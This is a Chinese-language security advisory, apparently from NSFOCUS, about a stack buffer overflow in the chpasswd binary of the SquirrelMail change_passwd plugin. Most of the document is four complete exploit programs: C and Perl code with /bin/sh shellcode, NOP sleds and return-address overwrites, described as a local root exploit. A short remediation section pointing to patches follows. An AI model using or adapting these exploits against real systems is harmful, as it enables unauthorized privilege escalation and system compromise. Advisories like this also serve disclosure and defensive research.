SquirrelMail Change_Passwd插件远程缓冲区溢出漏洞
涉及程序:
SquirrelMail Change_Passwd
描述:
SquirrelMail Change_Passwd插件远程缓冲区溢出漏洞
详细:
SquirrelMail change_passwd plug-in是基于WEB的SquirrelMail更改密码插件。SquirrelMail change_passwd插件存在基于堆栈的缓冲区溢出,本地或远程攻击者利用这个漏洞可以提升权限或未授权访问。
Change_passwd插件包含的chpasswd对提交的参数缺少充分检查,攻击者提交超长参数可触发缓冲区溢出,攻击者要利用这个漏洞,必须是Webmaster或www或其他相关软件定义的用户组成员才能访问。
此漏洞也可以通过CGI接口来利用。
受影响系统:
SquirrelMail change_passwd 3.1-1.2.8
描述:
攻击方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
---------------------------------------------------------------------
/*
** EGG generator bY SpikE <spike_vrm@mail.com>
**
** Usage: Execute this file before running the exploit
**
*/
#include <stdio.h>
#include <stdlib.h>
#define EGGSIZE 300
char Shellcode[] =
"AAAAAAA\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x1d\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xde\xff\xff\xff/bin/sh";
int main()
{
char EGG[EGGSIZE];
char *EGGPtr;
u_long EGGAddr;
printf("[+] Creating EGG\n");
memset(EGG,0,EGGSIZE);
memcpy(EGG,Shellcode,strlen(Shellcode));
memcpy(EGG,"spkEGG=",7);
putenv(EGG);
system("/bin/bash");
}
--------------------------------------------------------------------
/*
** Squirremail's chpasswd local root exploit bY SpikE <spike_vrm at mail.com>
** Bug found bY Matias Neiff <matias at neiff.com.ar>
**
** Usage: Execute setegg before running this exploit
**
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#define BUFSIZE 200
char *Egg;
int EggAddr;
char *chpasswd;
void doExploit()
{
char Buffer[BUFSIZE];
int *Ptr = (int *)Buffer;
int i;
fprintf(stdout,"[+] Egg address: %#010x\n",EggAddr);
// Build evil buffer
for(i=0;i<BUFSIZE-4;i+=4)
*Ptr++ = EggAddr;
*Ptr = 0;
// eXplot it!!
execl(chpasswd,"chpasswd",Buffer,"SPK","HACKED",0);
// If reach here, error
fprintf(stdout,"[-] %s not found!!!\n",chpasswd);
}
int main(int argc, char **argv)
{
printf("==[ Squirremail's chpasswd local root exploit bY SpikE <spike_vrm@mail.com> ]==\n\n");
if(argc != 2)
{
printf("Usage: %s <chpasswd-full-path>\n\n",argv[0]);
exit(0);
}
chpasswd = argv[1];
// Get shellcode address
Egg = getenv("spkEGG");
EggAddr = (int)&Egg[0];
if(EggAddr == 0)
{
printf("[-] spkEGG not found. Run \"setegg\" first.\n");
exit(-1);
}
doExploit();
return(0);
}
----------------------------------------------------------------------
#!/usr/bin/perl -w
# i guess this ain't of much use unless you have a web-account
# or something on the host, heh. this should be pretty selfexplanatory
# - rip
use strict;
my $ret = 0xbffff732; # ret, worked for me, prolly won't for you. change it.
my $length = 190; # buffer length for smashing without ruining it
my $eipdist = 144; # distance to overwrite eip
my $offset = 0; # offset
my $numnops = 10; # number of nops?
my $nop = "\x90"; # nop
my $pw = 'heh'; # random string, heh, 3 chars for current $ret
# dunno where this came from, it was just lying there.
my $shellcode = "\x31\xd2\x52\x68\x6e\x2f\x73\x68".
"\x68\x2f\x2f\x62\x69\x89\xe3\x52".
"\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
sub generate_string($$$) {
my ($r, $o, $len) = @_;
my $buffer;
my $i;
my $new_ret = pack('l', ($r + $o));
for($i = 0; $i < $eipdist; $i += 4) { $buffer .= $new_ret; }
for($i = 0; $i < $numnops; ++$i) { $buffer .= $nop; }
$buffer .= $shellcode;
return $buffer;
}
if($ARGV[0]) { $offset = $ARGV[0]; }
print "[heh] moron.pl | rip\@overflow.no\n";
print "[heh] Address: 0x", sprintf('%lx', $ret), "\n[heh] Offset $offset\n";
my $evil = generate_string($ret, $offset ,$length);
exec('./chpasswd', $evil, $pw, $pw, 0);
解决方案:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 可采用如下第三方补丁:
http://www.securityfocus.com/data/vulnerabilities/patches/chpasswd-fix.c
厂商补丁:
SquirrelMail
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.squirrelmail.org
附加信息:
无